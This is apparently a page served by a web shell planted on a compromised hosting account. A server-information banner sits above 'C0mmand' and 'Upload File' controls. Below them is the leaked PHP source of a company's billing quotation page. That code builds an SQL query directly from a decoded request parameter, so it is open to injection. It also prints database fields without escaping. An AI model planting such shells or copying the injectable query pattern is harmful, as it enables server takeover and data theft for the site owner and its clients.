|
Server IP : 153.92.220.142 / Your IP : 216.73.216.128 Web Server : LiteSpeed System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64 User : u444427800 ( 444427800) PHP Version : 8.1.32 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!----------------------------Script code for delete confirmation-------------------------------------->
<script language="JavaScript" type="text/javascript">
function checkDelete(){
return confirm('Are you sure?');
}
function checkDelete2(){
return confirm('Are you sure?');
}
</script>
<?php // include('header.php') ?>
<!------------------------------------------------------------------>
<!--
<div class="breadcrumb-top">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li>
<li class="breadcrumb-item active"><a href="#">View Quotation</a></li>
</ol>
</div> -->
<!--------------------------------Start main body section----------------------------------->
<div class="col-lg-12">
<div class="primary-panel">
<div class="heading">
<!-- <h2>View Report</h2> -->
</div>
<?php
include("include/connect.php");
$id= base64_decode(urldecode($_REQUEST['sid']));
$sql="SELECT * FROM `quotation` JOIN `clients` ON quotation.comp_id = clients.clt_id JOIN `state_data` ON clients.state_id = state_data.state_id WHERE `quotation_id`='$id' ";
$run=mysqli_query($db,$sql);
$data=mysqli_fetch_assoc($run);
$quotationId=$data['quotation_id'];
$quotation_number=$data['quotation_number'];
$ref_number=$data['ref_number'];
$company=$data['company'];
$address=$data['address'];
$state=$data['state_code'];
$subject=$data['subject'];
$quotation_content=$data['quotation_content'];
$note_content=$data['note_content'];
$term_condetion=$data['term_condetion'];
$thankyou_content=$data['thankyou_content'];
$totalAmount=$data['total'];
$quotation_date=$data['quotation_date'];
?>
<table border="0" id="content" style="width: 100%; font-family: arial; table-layout: fixed; border-collapse: collapse; border: none;">
<!--------------header section------------->
<tr>
<td colspan="2">
<h2 style="color: #eb3237; font-size: 34px; font-weight: 700; text-align: center; text-transform: uppercase; padding: 0px; margin: 0px; margin-bottom: 10px;">Safemaxx Quality Management</h2>
</td>
</tr>
<tr>
<td colspan="2" style="border-bottom: solid 1px #333;">
<table style="width: 100%;">
<tr>
<td style="width: 17%; vertical-align: top; border-right: solid 1px #333; padding-right: 10px; padding-bottom: 10px;">
<p style="font-size: 11px; line-height: 1.5; padding: 0px; margin: 0px;"><b>Regd. Address - 15, <br>Hardev Nagar C/o. Sonu <br>Singh, Near SDM Colony <br>Amethi-227405(U.P)</b></p>
</td>
<td style="width: 22%; vertical-align: top; border-right: solid 1px #333; padding: 0px 10px; padding-bottom: 10px;">
<p style="font-size: 12px; padding: 0px; margin: 0px;"><span style="width: 35px; display: inline-block;"><b>Mob: </span> + 91-9628485258</b></p>
<p style="font-size: 12px; padding: 0px; margin: 0px;"><span style="width: 35px; display: inline-block;"></span><b> + 91-8700494563</b></p>
<p style="font-size: 12px;padding: 0px; margin: 0px;"><span style="width: 35px; display: inline-block;"></span><b> + 91-9560609801</b></p>
</td>
<td style="width: 30%; vertical-align: top; border-right: solid 1px #333; padding: 0px 10px; padding-bottom: 10px;">
<p style="font-size: 12px; line-height: 1.5; padding: 0px; margin: 0px;"><span style="width: 48px; display: inline-block;"><b>Email : </span> safemaxxquality@yahoo.com</b></p>
<p style="font-size: 12px; line-height: 1.5; padding: 0px; margin: 0px;"><span style="width: 48px; display: inline-block;"><b> </span> surajbaranwal@safemaxxquality.com</b></p>
<p style="font-size: 12px; line-height: 1.5; padding: 0px; margin: 0px;"><span style="width: 48px; display: inline-block;"><b>Web : </span> www.safemaxxquality.com</b></p>
</td>
<td style="width: 10%; text-align: right; padding-bottom: 5px;">
<img src="images/print.png" style="width: 160px;">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px 0px;">
<p style="font-size: 14px; line-height: 1.5; text-align: center; "><b>Office : E-33, 2nd Floor, Jeewan Park, Uttam Nagar, New Delhi-110059</b></p>
</td>
</tr>
<tr>
<td colspan="2">
<p style="font-size: 12px; text-align: right; font-weight: 700; margin: 0px;"><b>Quotation No.- <?php echo $quotation_number ;?></b></p>
</td>
</tr>
<tr>
<td colspan="2">
<table style="font-family: 'Roboto', sans-serif; width: 100%; padding: 10px; margin: 0 auto;">
<tr>
<td style="padding: 10px 0px;">
<p style="font-size: 12px; font-weight: 700; padding: 0px; padding-bottom: 0px; margin: 0px; margin-bottom: 3px;">To,</p>
</td>
</tr>
<tr>
<td style="vertical-align: top;">
<p style="font-size: 12px; padding: 0px; margin: 0px; margin-bottom: 2px;"><span style="width: 620px; display: inline-block; font-weight: 700;"><?php echo $company ;?> </span> </p>
<p style="font-size: 12px; padding: 0px; margin: 0px;"><span style="width: 620px; display: inline-block; font-weight: 700; margin-bottom: 2px;"><?php echo $address ;?></span> </p>
<p style="font-size: 12px; padding: 0px; margin: 0px;"><span style="width: 120px; display: inline-block; font-weight: 700; margin-bottom: 7px;"><?php echo $state ;?> </span></p>
</td>
<td style="vertical-align: top; text-align: right;">
<p style="font-size: 12px; padding: 0px; margin: 0px;"><span style="width: 120px; display: inline-block; font-weight: 700;">Date : <?php echo $quotation_date ;?> </span> </p>
</td>
</tr>
<tr>
<td colspan="2">
<div style="width: 100%; height: 2px; background-color: #ddd;"></div>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 3px 0px;">
<p style="font-size: 12px; line-height: 20px; padding: 0px; margin: 0px; margin-bottom: 2px;"><span style="font-weight: 700;">Subject:- </span> <?php echo $subject ;?></p>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px 0px;">
<p style="font-size: 12px; line-height: 11px; padding: 0px; margin: 0px; margin-bottom: 3px;"><span style="font-weight: 700;">Reference- <?php echo $ref_number ;?></span> </p>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px 0px;">
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 2px;"><span style="font-weight: 700;">Dear Sir/Ma`am,</span> </p>
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 2px;"><?php echo $quotation_content ;?></p>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 2px 0px;">
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 7px;"><span style="font-weight: 700;">Scope of Work : </span> </p>
<table style="width: 100%; text-align: left; border: solid 1px #ddd; border-collapse: collapse;">
<tr>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">S.N.</th>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">Service Description</th>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">Range/Capacity</th>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">Quantity(Nos)</th>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">Price</th>
<th style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;">Amount</th>
</tr>
<?php
$sql2="SELECT * FROM `quotation_item` JOIN `services` ON quotation_item.service_id=services.serv_id WHERE quotation_id= $quotationId ";
$run2=mysqli_query($db,$sql2);
$count = 1;
while($data=mysqli_fetch_assoc($run2)){
$item_id=$data['id'];
$serv_code=$data['serv_code'];
$service_name=$data['service_name'];
$description=$data['description'];
$range_capacity=$data['range_capacity'];
$quantity=$data['quantity'];
$service_rate=$data['service_rate'];
$service_amount=$data['service_amount'];
?>
<tr>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $count ?></td>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $service_name ?>- <?php echo $description ?></td>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $range_capacity ?></td>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $quantity ?></td>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $service_rate ?> /-</td>
<td style="font-size: 12px; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $service_amount ?>.00</td>
</tr>
<?php $count++ ;} ?>
<tr>
<td colspan="5" style="font-size: 12px; font-weight: 700; text-align: right; border: solid 1px #ddd; padding: 5px 10px;">Subtotal</td>
<td style="font-size: 12px; font-weight: 700; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $totalAmount ;?>.00</td>
</tr>
<!-- <tr>
<td colspan="5" style="font-size: 12px; font-weight: 700; text-align: right; border: solid 1px #ddd; padding: 5px 10px;">GST Tax(18%)</td>
<td style="font-size: 14px; font-weight: 700; border: solid 1px #ddd; padding: 5px 10px;"><?php $taxVal="0.18" ; $gstVal= $taxVal*$totalAmount ; echo $gstVal ; ?></td>
</tr>
<tr>
<td colspan="5" style="font-size: 12px; font-weight: 700; text-align: right; border: solid 1px #ddd; padding: 5px 10px;">Total Amount After Tax</td>
<td style="font-size: 12px; font-weight: 700; border: solid 1px #ddd; padding: 5px 10px;"><?php echo $totalSum= ($gstVal+$totalAmount); ?></td>
</tr> -->
</table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 10px 0px;">
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 7px;"><span style="font-weight: 700;">Term and Conditions</span> </p>
<p style="font-size: 10px; line-height: 14px; padding: 0px; margin: 0px; margin-bottom: 2px;"><?php echo $term_condetion ;?></p>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 1px 0px;">
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 3px;"><span style="font-weight: 700;">Quotation Validity:</span> </p>
<p style="font-size: 10px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 2px;">The Quotation valid for one month and thereafter it will subject to our acceptance and confirmation in writing.
We reserve the rights to revise the Offer, after expiry of the said validity period mention in this offer.</p>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px 0px;">
<!-- <p style="font-size: 12px; line-height: 16px; padding: 0px; margin: 0px; margin-bottom: 3px;"><span style="font-weight: 700;">Notes</span> </p> -->
<p style="font-size: 10px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 3px;"><b><?php echo $note_content ;?></b></p>
</td>
</tr>
<tr>
<td style="padding: 5px 0px;">
<img src="images/stamp-sign/stamp-signature-suraj.png" style="width: 100px;" title="">
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 7px;"><span style="font-weight: 700;">Thanking You!</span> </p>
<p style="font-size: 12px; line-height: 22px; padding: 0px; margin: 0px; margin-bottom: 7px;">Sincerely yours <br><span style="font-weight: 800;color: #0d496c;">SAFEMAXXQUALITY MANAGEMENT</span></p>
<p style="font-size: 8px; line-height: 18px; padding: 0px; margin: 0px; margin-bottom: 7px;">E-33, 2nd Floor Jeevan Park, Uttam Nagar, New Delhi-110059 <br>Contact no. +91-9628485258, +91-8700494563 <br>Mail us at: safemaxxquality@yahoo.com <br>Visit us: - www.safemaxxquality.com</p>
</td>
<td style="vertical-align: bottom; text-align: right;">
<img src="https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=http://safemaxxquality.com/systemlogin/FGTYUIKSCVMGHDCLQT.php?sid=<?php echo urlencode(base64_encode($id)) ;?>" style="width: 80px;" title="">
</td>
</tr>
<tr>
<td colspan="2" style="border-top: solid 4px #fdc202; padding-bottom: 0px;">
<div class="footer">
<p style="box-shadow: inset 0 0 0 1000px #03ab50; color: #fff; text-align: center; font-size: 12px; font-weight: 700; width: 400px; padding: 10px 0px; margin: 0 auto;">AN ISO 9001:2015 CERTIFIED COMPANY</p>
<p style="color: #04045d; font-size: 12px; font-weight: 700; text-align: center; padding: 3px 0px ; margin: 0px;">Provide Services :<p>
<p style="font-size: 8px; line-height: 1.6; font-weight: 500; padding: 0px; margin: 0px;">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy.</p>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<div style="padding: 40px 0px;">
<input type="button" class="btn btn-primary pbutton" value="Print PDF file" style="display: inline-block; background-color: #790646; color: #fff; cursor: pointer; outline: none; border: none; padding: 8px 10px;">
</div>
<!----------------------------------End Main body Section----------------------------------->
</div>
</div>
<!-- <?php include('footer.php') ?> -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.5.3/jspdf.min.js"></script>
<script>
var doc = new jsPDF();
var specialElementHandlers = {
'#editor': function (element, renderer) {
return true;
}
};
$('#cmd').click(function (e) {
doc.fromHTML($('#s').html(), 15, 15, {
'width': 170,
'elementHandlers': specialElementHandlers
});
doc.save('report-file.pdf');
});
</script>
<script>
function printData()
{
var divToPrint=document.getElementById("content");
newWin= window.open("");
newWin.document.write(divToPrint.outerHTML);
newWin.print();
newWin.close();
}
$('.pbutton').on('click',function(){
printData();
})
// Array.from(document.querySelectorAll('.watermarked')).forEach(function(el) {
// // el.dataset.watermark = (el.dataset.watermark + ' ').repeat(1000);
// el.innerHTML = ('Unusual ' + '').repeat(10000);
// });
// $('.stop').click(function(e){
// e.preventDefault();
// })
</script>